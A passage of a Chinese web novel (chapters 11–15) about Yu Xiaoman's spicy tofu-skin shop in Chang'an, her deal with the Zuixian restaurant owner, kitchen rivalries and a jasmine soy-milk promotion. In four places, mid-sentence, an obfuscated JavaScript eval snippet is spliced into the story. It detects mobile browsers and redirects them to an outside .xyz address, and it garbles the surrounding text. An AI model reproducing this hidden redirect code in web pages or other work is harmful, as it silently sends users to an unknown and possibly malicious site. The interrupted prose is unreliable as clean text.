余小满刚说是这一锅卖完了，得等上一会。约莫是看他买得多，这壮汉才找他商量的。 “抱歉，这是给我家少爷买的。” “十文，多十文可以吗？小娘子说下一锅要再等上一会，我是急着去码头上工，实在是等不及了。” 决明略有耳闻，码头的工人顶着烈日搬货，虽辛苦，但工钱也不低，这不一开口就是双倍的价格，他还真有些心动了。 毕竟没有任何成本，到手了又送出去，凭白就赚了十文钱。 “我这里多一份自己吃的香辣豆皮，你要吗？” “要要要。” 壮汉毫不犹豫地掏出铜板，像是怕决明后悔一般，强行塞到他手里，一把便夺过了油纸袋子。 看着壮汉那捡了大便宜似的抱着油纸袋子快步离开的背影，决明突然有些茫然，一丝后悔突然蔓延了上来，他忍不住咽了咽口水。 这么香的东西……怎么说也该先尝一口的。 罢了，给少爷送完饭再来买就是了。 11. 广而告之 余小满在铺子里忙得满头大汗，一刻也不得闲。 她本以为十文钱一份的售价已经算是一道门槛，会拦住不少人，可谁曾想这自热油泼到香料上，香味炸开蔓延开后，一切就变得一发不可收拾了起来。 铺子门口就没少过人！ 还是低估了长安人民的经济实力了！ 眼看先前叠好的油纸快用完了，插在竹筒里的竹签也是寥寥无几了。 就在余小满犹豫是不是要歇业休息一会的时候，唐瑛一手端着满是竹签的竹筒，一手握着一沓叠好的油纸，走到了她身边。 “你去歇歇，把饭吃了。” 这个时候，余小满自不会和唐瑛客气。 她侧过身，让出了案板前的位置。 后院里，孟舒玉正在收拾碗筷，见余小满过来了，忙招呼：“快来吃饭。” 余小满应了一声后，并没有就这么坐下，而是先去检查了一下捞出来控水的腐竹和豆皮。 本就不大的后院，被石磨、木桶和大大小小的竹匾塞得满满当当的，甚至需要人见缝插针的找位置才能落脚。 “就已经剩下这么点了吗？！” 自铺子开张后，余小满就一直没得过空，也没时间来后院看一眼，缺食材了一直都是唐瑛进铺子来补上的。 这剩下的腐竹和豆皮，勉强就够装满一张大竹匾。 “昨夜浸水的时候还想着是不是太多了，没想到这才一个多时辰，就已经卖完了。” 先前的预案，还是保守了。 这收购来的腐竹和豆皮，看来也卖不了太久啊。 余小满满脸不可思议地摇着头，坐下端起了碗筷。 之前一直忙着，还没什么感觉，这会一坐下，一直被忽视的胃开始疯狂叫嚣抗议了起来。 余小满埋头扒饭，在吃了个半饱之前，脑袋就没有从碗里抬起来过。 “这菜是孟姐做的吧！味道真好！” 这凉拌茄子和清炒空心菜，虽看着清淡，吃在嘴里却清爽但有滋味。 余小满在油锅前站了一上午，本有些被油腻到倒胃口，这两口新鲜时蔬下肚，一下子只觉得整个人神清气爽起来了。 孟舒玉浅浅笑着，给余小满舀了一碗瓠瓜鲫鱼汤。 “今日麻烦孟姐来帮忙了，先在院子里歇息会吧，等唐瑛姐记完账，得把钱结给你，然后再叫上子安我们一起去醉仙楼庆祝一下。” “这么客气做什么，我不过是就搭把手，可不是专程来作工的，哪用得你结给我钱啊。” 余小满将碗里的小块米饭扒拉进鱼汤里，便搅拌着边道：“话不能这么说，没孟姐你今日来指点，今日这豆腐我和唐瑛姐还做不出来呢！” 她三两口扒拉完饭，放下筷子。 “就这么说定了啊！” …… 第一天开张，就因为食材不够，早早的就关了铺子。 余小满还是再三向食客们保证了，明日一定更早开张，准备更多的食材。 钱匣子装得前所未有的满，抱在怀里沉甸甸的。 余小满的嘴角都快咧到耳根了，院子里回荡着唐瑛拨动算珠的清脆声响和余小满嘿嘿的痴笑声。 “只一天，除去腐竹的成本钱和孟姐的工费就赚了二两！” 她的语气激昂，全然没有劳累一天的疲倦。 “这样下去，真的可以还上这笔债了。” 唐瑛放下算盘，目光之中也有些异色，她刚想要开口，就见余小满腾得一下窜了起来。 “不行，光卖辣条还不够，还得再卖些别的东西才是。” 夏日燥热，铺子里最好搭配些凉饮卖。可惜店铺不够大，要不然加几个菜，请食客进来慢慢吃，利润空间肯定更大…… 余小满就这样端着她字迹龙飞凤舞的食谱，一路研究到了醉仙楼。 刚从书院就被接过来的孟子安被她这全神贯注的精神鼓舞到了，一坐下也便拿起了文章。 在满大堂食客之中，大伙都在吃喝谈笑，就他们这一桌低头学习研究的，便显得格格不入。 点菜的事情由唐瑛一手操办了，她点完菜后，特意嘱咐了小厮，今日这顿不记账，一会现结。 这也是和余小满在路上就商量好的，掌柜愿意请他们吃饭是客气，但他们也不能隔三差五的就来占便宜。 人情往来得把握住那个度。 眼下正是酒楼生意最好的时候，出菜的速度快不起来。 对接下来要卖什么，余小满心里已经有了盘算，她放下稿纸，刚拿起手边的杯子抿了一口，就听见邻桌的食客在议论。 “你说这香辣豆皮到底是什么味道啊？我光是闻了那味道，就觉得醉仙楼的炙肉都不够滋味了。” 闻言看去，隔壁桌的几个锦袍男人抿着酒，各自脸上已经飘起了程度不同的绯红。 大概是有些微醺，说话的时候也都扯着嗓子。 “害，我家那小子吃得满嘴流油，一身味的回来，我呵斥他一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811345|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，私下又叫小厮去打听，结果一来一回，那铺子早就关门了。” “嘿嘿，我倒是吃到了。这一比起来，炙肉确实不够滋味，可惜也就只有一份尝尝味道，不然高低带过来给几位仁兄尝尝，可太适合下酒了！” “你说说这……” 男人连声叹息，边摇头边端起酒盏抿了一大口。 这番对话，给余小满听得直乐呵，她惊喜地瞪大眼睛，咧着嘴看向唐瑛。 要知道，醉仙楼算是京城最繁华的酒楼之一。 而吃饭的地方人来人往，向来都是汇集和交流情报的好地方。 这才开业第一天，就已经有人在议论她的辣条了！ 今日没尝过的、没闻到过的，这一打听，一旦起了好奇心，明日不都得闻着味来铺子张望一眼吗？ 更何况！能来醉仙楼消费的，哪怕是坐在大堂的食客，都绝对在她的铺子消费得起。 余小满看向一旁微醺大哥的眼神一下子就变了。 广告广告，便是要广而告之才行。 这大哥扯着嗓子，可不就是免费给她铺子打广告的大好人啊！ 她的目光实在是炽热，写满了对银子的向往和渴求。 唐瑛实在看不下去，她不忍直视，一边抬手掩面，另一只手轻轻扣了扣桌面，提醒余小满在这大堂之中要注意约束一下自己的目光。 还不等余小满有反应，一道中气十足的声音穿过周遭细碎的闲聊声，有由远而近到了他们桌前。 “小满姑娘来了啊！” 只见一身形圆润的中年男子在余小满面前站定，他的眼睛笑眯成了两条缝，目光中满是热切。 “真巧了，我还刚惦记着想去找小满姑娘呢，小二就传消息说你们已经在大堂落座了。我们移步二楼雅间，细说？” 唐瑛点了点头，率先站起身来。 她落后余小满半步，轻声介绍道：“醉仙楼的掌柜，林盛。” 这人衣着富态华丽，说话的语气又十分熟稔，一开口就将他们请上了楼，放眼整个醉仙楼，也就只能是掌柜了。 在台阶拐角处，余小满和林盛错身擦肩的一瞬，她突得闻到了一股很熟悉的味道。 孜然、花椒、八角、茴香…… 这般复杂的味道交混在一起，不就是铺子里拌辣条的香料的味道吗？ 余小满脚步一顿，眯起视线看向林盛富态十足的背影，心中顿时警惕起来。 林掌柜找她……是要谈什么事情？ 12. 合作共赢 也不怪余小满敏感，她这一天，听到最多的话就是，“这比醉仙楼的炙肉还好吃！”。 不夸张的说，辣条的名声，有一大半是踩着醉仙楼炙肉起来的。 偏偏眼前这人，就是醉仙楼的主人。 能在长安做生意，谁不是长了八百个心眼子，若说林盛心里没有点什么想法，余小满是绝对不相信的。 二楼的雅间别致，屏风绣着山川秀水，烛光映照之下闪着莹莹光泽，栩栩如生。 檐下灯笼的光透过轻纱窗棂，在青石地砖上投下光影，小几上的博山路升腾起一缕轻烟，光影交错氤氲。 落座的时候，余小满保持了十分的警惕。脊背挺得笔直，一颗心都提到了嗓子眼里，随时做好了林盛说出些骇人话的心理准备。 “小满姑娘莫要紧张。” 林盛搓着手，脸上堆满笑。 “我今日请几位来，是想谈谈合作的。” 合作？ 余小满一惊。 不是来找麻烦的？ “实不相瞒，小满姑娘铺子里这小食，我今日也尝过了，实在是美味！我午时尝的味道，到现在还提不起兴致吃别的东西。” 大抵是看出来余小满的警惕，林盛笑着端起桌上的茶壶，给余小满酌了一杯茶。 “你看你这铺子不过未时便歇业，想来是和唐姑娘两人，哦，再算上孟娘子，能提前准备的食材也是有限的，忙不过来吧。” 分明是十分和气的语气，也将自己的身段放得很低，但寥寥几句，便将小铺的现状分析了个底朝天。 他甚至派人打听了！知道铺子是几时歇业的！ 余小满端起茶盏抿了一口，没有急着开口。 她懂什么谈判？ 她对此一窍不通。 只是以余小满多年研究电视剧和小说的经验，这个时候就是要少说少做摆一张毫无表情的脸来。 她放下茶盏，手肘搭着桌面、手指抵着鼻梁，摆出了一副极为深沉在思考的模样。 “我也不是想和小满姑娘抢生意啊，只是想和你联手，错开一下时间卖，这样谁也不耽误谁做生意。” “怎么个错开法？” 见余小满有松口的迹象，林盛脸上的笑意更盛了几分。 “长安城夜里出来寻吃觅食的人可不少，我不求你的配方，只买你现成调配好的调料。等到你铺子歇业了，我再将这辣条摆上当冷碟卖，你看如何？” 这林盛……难怪能将醉仙楼做大，竟有如此商业头脑。 余小满面上不显，可心中已是泛起惊涛骇浪。 林盛在这么短的时间就看出了她们现在力所不能及的地方在哪里。 在还负债的情况下，余小满是不会轻易去增添人手来帮忙的。 那没办法增加人手，小铺的产量确实有限。 而醉仙楼和小铺子的受众群体也是不一样的，寻常人家不会轻易进醉仙楼用膳，他们只会在路过小铺的时候顺手买一份。 余小满做的，也是这邻里巷间的小本生意，她从一开始也没把目标放到大户有钱人家身上。 只是没想到，这么快就有人盯上了她放弃的食客群体。 林盛和余大河之前便相熟，能一直给他们免单，也是个有情有义的人。 如此一来，确实让人找不到拒绝的理由。 余小满试探开口：“那掌柜应该也知道，香料的价格不便宜吧。” “酒楼里就炙肉卖的最好，这我自然是知道的，买秘制调料的价格可以商量，绝对会让你满意的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811346|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那酒楼里的售价……” 醉仙楼的菜价本就略高寻常小铺酒楼一些，余小满不能接受醉仙楼和她的小铺标同样的价格。 她的小铺子连个坐的地方都没有，哪比得上醉仙楼这丝竹管乐、长椅香茶，坐着慢慢吃来得舒服。 林盛显然也考虑到了这点，忙道：“这个小满姑娘放心，酒楼的食客不缺钱，香料不便宜，价格自然要比你的铺子高出不少的。” 林盛给出的诚意很足，余小满掂量片刻后心中便有了决断。但她还是下意识抬眼看向唐瑛，希望得到一些指示。 唐瑛朝她微微笑了笑，显然是将决策的权力全权交给了余小满，并不打算干预。 初次和同行打交道，还是业内的大牛。 纵然心中有了决断，余小满也并没有马上应答，而是委婉地给自己留了一点时间：“我需要时间考虑一下，也需要回去核对香料的数量，可否明日给掌柜答复。” 林盛毫不犹豫地应下，笑着朝余小满拱手道谢，好似她已经同意了一般的喜庆。 临走时还特意叮嘱了，今晚的菜全都记他的账。 …… 走出雅间后，林盛长舒一口气，沿着长廊，脚步轻快的走向东阁。 小厮弯着腰跟上，小心翼翼道：“东家，食客又在问有没有辣条卖了。程师傅在问，需不需要后厨研究一下香料。” 林盛摆摆手，神色轻松地吩咐：“告诉程青山，让他们照旧做菜就是，不必花功夫研究。再去做个招牌摆上，就写辣条明晚售卖，但是数量有限。” 小厮一惊，随即面上泛起喜色。 “小满姑娘答应了？” “那还没有。”林盛脚步一顿，嘴角扬起一抹意味深沉地笑：“不过她明日就会同意了。” 13. 后厨不和 正如林盛所说的那样，第二天一早前去余小满铺子的管事，很快就带回来了双方签字画押、官府盖章认证的契约。 以及一袋研磨调配好的香料。 后厨已经提前知晓，豆皮和腐竹也早已经浸泡好了。 三五个系着围裙的厨子便围了上来。 其中一人头发蜷曲、眼窝比旁人要深邃许多，鼻梁高挺，一看便是异族的血脉。 他捻起细碎的香料，闻了闻后又舔了一下，目光之中有些不屑。 “这不过几种香料混合，没什么特别的。” 站在他身侧的中年男子抿着嘴唇，细品了一会后，反驳道：“这味道复杂，一味香料的用量尚且要斟酌，何况这里混了这么多的香料，岂是那么容易就把握住配比的。” “嘁！你们汉人懂什么香料，不过随意胡乱捣鼓到一起，能有多好吃？” “你！” 眼看两人就要争执起来，林盛忙出声阻止。 “好了好了！别吵了！” 于涅是突厥人和汉人的所生的孩子，也是最早一批随着商队来京城谋生的突厥人。 林盛是在收购香料的时候，与于涅结识，而后雇佣他来醉仙楼做厨子，因从小在边境长大，擅用香料，醉仙楼里炙肉的调味便是出自他手。 而程青山作为醉仙楼后厨的掌事人，速来是看不惯于涅放荡的作风。 他们二人一直都是碰上说不了几句话就要吵起来的。 “行了行了，青山，你照着小满姑娘写的方子，研究一下怎么用这香料。”林盛将余小满写的菜谱递过去，吩咐道：“还有说好的，酒楼要给她提供食材，收拾一下腐竹和豆皮安排人及时给送过去。” 程青山显然对菜谱更感兴趣，他接过后，便不管身边的于涅，低头研究起来。 而眼看所有的事情都安排妥当了，林盛脸上褪去了正色，脸颊的肉随着不怀好意的笑一起晃了晃。 他朝着于涅招了招手：“跟我走一趟。” 于涅神气十足地挑了一下眉，动作利索地解了系在腰间围裙，随手一扔。毫不客气地便抬手拨开身侧的程青山等人，快步走到了林盛身边。 俩人视线相对上的时候，不约而同地笑了起来。 就在他们准备并肩走出厨房的时候，程青山突然喊了一声。 “东家！” 林盛脚步一顿，皱着眉回头看他。 “您又去赌坊？” “害，昨日都听不懂那蛮夷在说什么，亏了一笔，我把于涅带上，好给我转述一下他们叽里呱啦说的都是什么。” 林盛语调轻松，但厨房里的气氛确实陡然沉了下去。 赌坊的长安属于灰色地带，明面上是茶楼酒肆，背地里却是纸醉金迷之地。 能扎根下去的，大多背后是有势力的。 长安城里，寻常人是不敢轻易靠近赌坊这种成败只在一瞬的地方。 因此所有人都埋着头，手上动作不停，哪怕手里只有早已清洗干净的藕段，也是专心致志盘弄着，完全不愿掺和进一点东家的事情里。 只有程青山依旧站在那里，脊背笔直，目光清列坦荡，缓缓调转方向，落在了林盛身侧的于涅身上。 他没有说话，但用意已经十分明显。 “到时间点我会叫他回来干活的，你快忙去吧。” 说罢，像是怕程青山继续询问，他立刻揽过于涅的肩膀，快步往外走去。 身后那道晦暗不明的目光一直追随，却再没有出声。 一直到从醉仙楼的后门出来，迈步进曲折的小巷，于涅才出声询问。 “东家，程青山他一个厨子，是不是管的有些太宽了，都管上你去哪了。您对他还这么客气作甚？” 他语调带些上扬的尾音，却偏偏又要学长安人说话用词，听起来有些怪异。 “哎。”林盛拍了拍于涅的手，道：“程青山幼时就在御膳房长大，当初也是花了一番功夫才叫他来醉仙楼掌勺的，京城里可不少人冲着他的手艺才来吃饭，可不得对他客气点。你啊，凡事能避着就避着些，莫要与他起冲突。” 于涅翠绿的眼眸沉了沉，他随即昂起脖颈，换了个话题。 “那为何又要去那小丫头片子那买香料，您对我的手艺是不信任了吗？” 林盛走南闯北那么些年，回京城之后，总觉得周围人情绪都太过内敛。 他就吃于涅这有话直说，骄傲放纵这一套。面对这般质问，他是一点也不生气，反而笑眯眯的解释。 “小满姑娘手里那批香料本是要卖给我的，只是她兄长不知道得罪了什么人，竟是盯住了她那个小铺子。不过我昨日派人打听了一下，这催债的都已经找上门了，小姑娘还能想出办法来，这面子自然要给的。” “你？”于涅不可置信地瞪大眼睛：“你还要给那小丫头面子？” 醉仙楼生意做到如今的规模，林盛自是有自己的人脉。 于涅跟在他身边，也没少见达官贵人，这还是头一次见林盛对一个没背景的小丫头这么客气。 “别小看了那小姑娘，她和她兄长，背后的人估计不一般。要真是仇人，他们兄妹还能这样舒服自在的做生意？我估摸着啊，是和家里闹翻了，在逼他们低头呢。” 能让林盛说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811347|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不一样这样的评价，想来还不是一般权贵。 于涅若有所思的抿着嘴唇。 “再说了，香料价格还是高昂的，小满那一屋子的香料，大河全都已经结款了，对她而言是白手起家，可以用很低的价格去卖，薄利多销，但醉仙楼不行。” 他顿了顿，接着道：“且不说研究这配方要用到多少香料，花多少钱。光是在价格上就不可能压的比她的小铺子更低了，能合作上更好，没必要在这里和她较劲，白花冤枉银子。” 林盛抱着手臂感慨道：“余大河是个聪明的，他妹妹啊，也是完全不输给他的。也不知道是什么人家，才能养出这样的一对兄妹来啊。” —— “小满，你说这林掌柜，能信得过吗？” 孟舒玉清点这醉仙楼送来的腐竹，面露愁色。 在她看来，掌握一门手艺就应该死死攥在手里，这种京城独一份的香料，更是应该只有自家能卖才是。 哪有余小满这样的，开张第二日，直接就将香料给出去了。 “你都不怕他们偷学会了吗？” “我们有的这些香料，醉仙楼也有，要是能这么容易偷学会，他们如今能端上来的可就不止是炙肉了。”余小满低头舀了一碗豆浆，递给孟舒玉。 而且林盛肯定已经打听过了，知道她现在背着笔债，双赢的事，没理由不答应。 都是出来做生意的，谁会跟钱过不去啊！ 再说长安商贸发达，相关律法完备，签过的契都送去京兆府盖章存档了，也不用担心醉仙楼拿了香料就翻脸。 顺便，余小满还进一步提出要求醉仙楼提供相关食材的要求，管事也是一口就答应了。 这下她和唐瑛也是可以不用盯着烈日跑出去收购腐竹了，更是轻松不少了。 这长安城的天气，是一天赛过一天的热，没有雨水，没有云彩，只在室外站上一会儿，就满头大汗。 这接连几天的烈日，晒得门口花盆里的草木都焉焉的。余小满和隔壁绣坊的小姑娘每天轮流浇好几回的水，也没能让这些花草重新精神起来。 天气燥热，余小满天天面对油锅灶台，也有些热得受不住了，她还很担心排队的食客热得撅过去。 眼下条件有限，没有什么比凉饮性价比更高的消暑方式了。 她一早起来就煮上一大锅的豆浆，浸在井水里了。 长安城里倒是有专门售卖冰块的冰肆，只是价格过于高昂。 余小满稍微打听了一下，直接就放弃了。 小本生意，实在是没舍得。 更何况，她这豆浆，是不要钱的。 14. 茉莉豆浆 “不要钱？当真？” 排队首的壮汉满眼不敢相信地又问了一遍。 “只要买了我们铺子里的辣条或者豆腐的，就不要钱。” 余小满拿起勺子，舀了一碗递过去。 铺子开的不算早，这会的太阳已经很晒人了，远远望去，青石板泛着灼灼日光，视线所及，竟因高温扭曲了起来，像是燃着一团看不见的火。 壮汉的麻布短褂边缘都已经被汗水浸透了，他没去接碗，而是先将准备好的铜板放进了匣子里，才伸手去接。 大有一种“喝完也坚决掏不出来钱”的架势。 “喝完还能再续。” 余小满笑着将油纸递给他，转头询问起下一位食客要买什么。 “免费喝？那我也要来一碗！” 铺子连夜收拾了一下，摆上桌凳，供食客可以歇息。 一时间，铺子里坐着的，都是一手拿着油纸包，一手端着碗喝豆浆的人。 …… 刘田是在京城外码头作工的工人。 他昨日路过实在是嘴馋，又急着去上工，是加钱才从别人手里买了一份豆皮。 本是没当回事的，一路就提着到了码头。 商船是每日午时左右到，所以作工的人一般都会在码头随便对付一口。 刘田本来是打算买两个包子或者夹馍，和往日一样随便吃两口再上工的。 可谁知他刚打开油纸包，吃了一口之后，脑子里就已经全然没有包子和夹馍生存的空间了。 豆皮浸在红油里，油韧，越嚼越有滋味。 他直接在孙大娘那买了两个白面大馒头，对半掰开来，将豆皮夹了进去。 这实在是刘田在码头吃过好吃的一顿饭，唯一不好的地方是，因为他吃得不够快，被端着碗筷的工友发现了。 在威逼利诱加上一连串的好话攻击之下，刘田只好一早就来铺子等着开门了。 没想到今日还有不要钱的豆浆可以喝！ 虽然他不相信豆浆真的不要钱，但码头工钱给的够多，一会这小娘子开口要个三五文的，给就是了。 豆浆冰冰凉凉的，一口下去顿时驱散了萦绕在四周的燥热。 长安的几乎每一个早餐铺子都会有豆浆卖，但那都是滚烫冒着热气的，几乎没有这样碗壁沁着水珠的冰豆浆。 更何况，这凉豆浆的味道也完全不一样。 没有那股滚烫时候很明显的豆腥味，口感依旧是柔和温润的，但后劲翻上来的是一股清甜的香味。 刘田自知是个没读过书的糙人，满脑子只是好喝，冒不出一个多的字来。 他恍惚觉得自己好像置身于年幼时家乡的后山种满茶树的小坡之上，周身的草木柔柔将他环抱住。有一道纤细的身影穿梭在茶树之间，时隐时现。 不远处洁白的花开得肆意，沁甜的香味在一瞬间竟叫他鼻尖一酸。 但这份感动，随着嘴里嚼到的奇怪东西戛然而止。 他嚼了嚼，只觉得舌尖泛苦…… 刘田将东西吐在手里，左右看了看，紧紧皱眉。 这不要钱的，也不能往里头放东西吧！这不是害人吗！ “小娘子！这豆浆里，有脏东西哩！” 刘田平日里在码头，已经习惯了喊着说话，嗓门极大。 这一开口，整个铺子里喝豆浆的人都不约而同的停了下来，朝他看去。 “真是吓我一跳！” 坐在刘田身侧，书生模样的中年男子凑过头看了一眼，而后抚了抚胸口，一副被吓到了的模样。 “这是茉莉啊，豆浆里加了香片啊！” 茉莉花？ 记忆里那洁白的花突然具象了起来，好似就在眼前盛开一般。 刘田突然想起来了，娘干完活之后，总喜欢折一支带叶的茉莉放在背篓的最上面。 香味会一路伴随着他们，从茶田一直到家里，到全家人的梦里。 记忆里的娘真的好年轻，满头青丝，笑得那样温柔好看，她分明是细声细语给他说过这花叫茉莉的。 茉莉音同莫离，是爹从商队那里买回来的，和娘成亲那年栽种在后山。 这花就和他一起长大，长成了漫山遍野的一大片。 自爹离世、兄长成亲后，刘田便离开家来京城做工，一直没有回去过。 这几年埋头干活都不怎么喝茶，也完全不接触花草植物。 若不是今日喝到这添加了茉莉花的豆浆，竟要忘却这段年少时的往事了。 也不知道娘跟兄长嫂子一起，过得还好吗…… 人的记忆是有限的，过去的那些岁月会渐渐被淡忘。但有些往事会被封存在某一个味道之中，在很久很久的以后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811348|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然就被舌尖上熟悉的味道唤醒。 “是添加了香片。”余小满笑着擦手，解释道：“因为浸在豆浆里，等着放凉的时候味道会浓郁些，便没有滤出来。” 醉仙楼管事来谈事情的时候，顺带着送了包香片过来，余小满专门打听了一下，如今茶铺里寻常香片的价格并不高，想来是工匠已经掌握了茉莉花茶的窖制工艺。 余小满怕自己喝多了茶夜里睡不着，唐瑛和孟舒玉也不爱喝这个。 泡了一壶后发现这就是醉仙楼平日放在大堂待客用的普通香片，便放心加进豆浆里一块煮了。 刘田愣神之际，余小满已经又往他手里已经见底的碗里舀了一大勺的豆浆。 铺子里乘凉等候的人，本是不好意思再续的，毕竟不要钱。现见了余小满主动给人添勺，众人也不再客气，纷纷主动开口再要上一碗。 刘田的这一嗓子并没有掀起波澜，食客们显然都对这香片豆浆兴趣更大些。 他一口气喝了三碗，一直喝到眼眶微微泛红，才站起身来。 “小娘子。” “嗯？” 余小满正忙着，闻言转头看了过来，手上装袋的动作却是没有停顿。 “抱歉啊……是我不懂茶，没见过世面，差点给小娘子惹麻烦了。” 这么高大的一个壮汉，需要余小满抬起头来才能对视上目光，因为在码头搬货，他晒得黝黑，若是夜里碰到，还会觉得有几分骇人。 但他此刻看起来却脆弱又柔软，尽全力在收敛平日里粗犷的作风，眸中蓄着水光，语气真诚又柔和。 余小满怔了一瞬，而后笑道：“没事，你爱喝就好。” 她大概猜到了，这个男人是触景生情，或者说因为茉莉而想起了什么人、什么事。 这是她学习相关专业的初衷，虽最终目标还是躺着就赚钱，但这一瞬间，她从钱财和债务中脱身出来，由衷地感到高兴。 为她的豆浆，也为眼前的男人。 “真的多谢小娘子这碗香片豆浆了。” 刘田道完谢后，从怀里掏了掏，在钱匣子里放下了什么东西，而后转身快步离去。 余小满探头一看，半匣子的铜板上，躺着两块碎银。 边角闪着银光。 只听见有目睹全程的食客若有所思地发问：“这香片豆浆，有这般好喝？” 15. 鸡丝凉面 接连几日的暴晒后，长安城终于在一个朦胧的清晨迎来了一声低沉的雷鸣。 天地在这一瞬被撼动。 紧接着雨水便倾盆而下，滴答声覆在青瓦上，将这一方小屋拥簇。 晒过头的泥土在漆黑的清晨纵情舒展，草木的味道逆着雨水落下的方向缓缓升腾。 余小满半梦半醒地眯着眼睛看向窗外，翻了个身在滴答声中缓缓坐了起来。 在经历了最开始几日的手忙脚乱后，如今她们都已经相当从容且沉稳了。 清晨惯例是一天最忙的时刻。 先是磨豆腐煮豆浆，然后在豆腐定型的一个时辰里抽空填饱肚子，再去给豆皮腐竹控水。 孟舒玉不肯要余小满给的钱，在没有丝毫保留的把所有的做豆腐的技巧告诉了余小满和唐瑛后，只偶尔来搭把手。 等开铺门迎客之后，俩人便能轮换着闲下来歇息一会。 这下起雨来，生意也受影响，不如晴天得好。 往日最为繁忙的正午，竟也能腾出空来按时吃饭。 余小满坐在铺子门口，端着一口海碗，吸溜着拌面。 面是孟舒玉一早起来揉好手切的，格外有劲道。 孟舒玉今日要给孟子安煲鸡汤，做鸡汤面吃。 她一早就去买了一只现宰的母鸡，本是想送半只给余小满和唐瑛的。 余小满见了连忙推辞，最后把最柴的鸡胸部分要走了。 孩子要喝鸡汤补补，她不用。 她把鸡胸加葱姜煮熟后撕碎，热油浇上混着香料的辣椒粉，鸡蛋摊成饼切丝，最后添上一筷子切成丝的胡瓜。 这一口下去，清爽又有滋味，胡瓜脆生、面条劲道、红油又香又辣，鸡丝混着煎得金黄的蛋丝。 香得余小满翻找出了家里最大的碗。 雨水滴落在青石板上，溅起小小水花，长街在经历接连几日灼烧一般的烈日后，被冲刷得泛起光亮。 身边不知道叫什么名字的花草可算是活了过来，叶片可算是喝饱了水，脆生生地挺立，在温热潮湿的风中舒展晃动身姿。 唐瑛端了碗香片豆浆，坐在了余小满身边。 “今日早点歇业吧！” 余小满刚抿了一口豆浆，倏地抬起头来，唇边沾了一圈的白边。 “嗯？” “忙活这么多天，也该出去逛一逛了。” 早就听闻长安夜市发达，但每天收摊后还得洗锅洗碗清洗灶台。 等到忙活完了，满头大汗只想快点洗漱躺下，根本没有多的玩乐的心思。 而余小满更是整个人仿佛钻到钱眼里了一般，只要后院还有食材，坚决要卖光为止，当真是一刻也不得闲。 虽一直说着要去逛逛，但真正走出铺子，也就只需要一句话的事。 等余小满反应过来的时候，她已经换下干活穿的耐脏麻布小衫，翻找出了已经叠放在柜子底下有段时间的圆领衫和八破裙。 雨势一点也没有见小，但余小满兴致不减，这一把油纸伞足够庇佑她们二人了。 余小满一上街就是对什么都感兴趣，不仅是小食摊子，布坊、书肆、胭脂铺，一下午的时间，逛了个全。 天色渐沉，滴答的雨也逐渐收敛。 青石长街上的泛着水光，倒映灰蒙天空飘过的丝缕云烟。 余小满揣着一兜坚果从胡商铺子里出来，站在屋檐下仰头望了望天色，嘟囔了一句。 “该吃饭了……” 唐瑛弯腰拿起依靠在门口的油纸伞，随口道：“你还吃得下吗？” 这一路，从糖糕摊、煎堆摊到胡饼铺，但凡路过余小满通通停驻脚步。 以至于，平日里这个点她早该饿狼扑食一般钻进厨房，如今却也是看一眼天色才能想起来。 “附近有家茶楼，羹汤糖水味道很好，去坐会吧？” 余小满还没怎么在长安城正儿八经进店铺里吃过甜食，闻言立刻点头。 就在唐瑛抬起手腕，撑伞的一瞬。 长街上，一辆马车呼啸踏着石板上的积水，很快便行驶至铺子门口，也并没有减速的意思。 因着下雨的缘故，街上并没有行人，马车速度快些是很正常的。 非说这马车有什么特别的，无非是马儿更高壮矫健些、车身看起来更大更结实些。并无繁杂的装饰和任何夸张的纹路。 因此，余小满也只是随意地抬头瞥了一眼。 但就这一瞬，风掀起帘子，偏就叫余小满看清了车内人的模样。 视线就此凝固。 那是个年轻男子，眉骨高挺、剑眉星目，是极其正气的长相，甚至是能看出他气场凛然，绝非一般人。 男人低垂眼眸，长睫在颧上投落阴影，眉间沟壑深邃，完全并没有意识到，街边有人正朝他投来目光。 马车行驶的速度很快，仅仅一瞬，余小满却仿佛觉得时间就此定格一般。 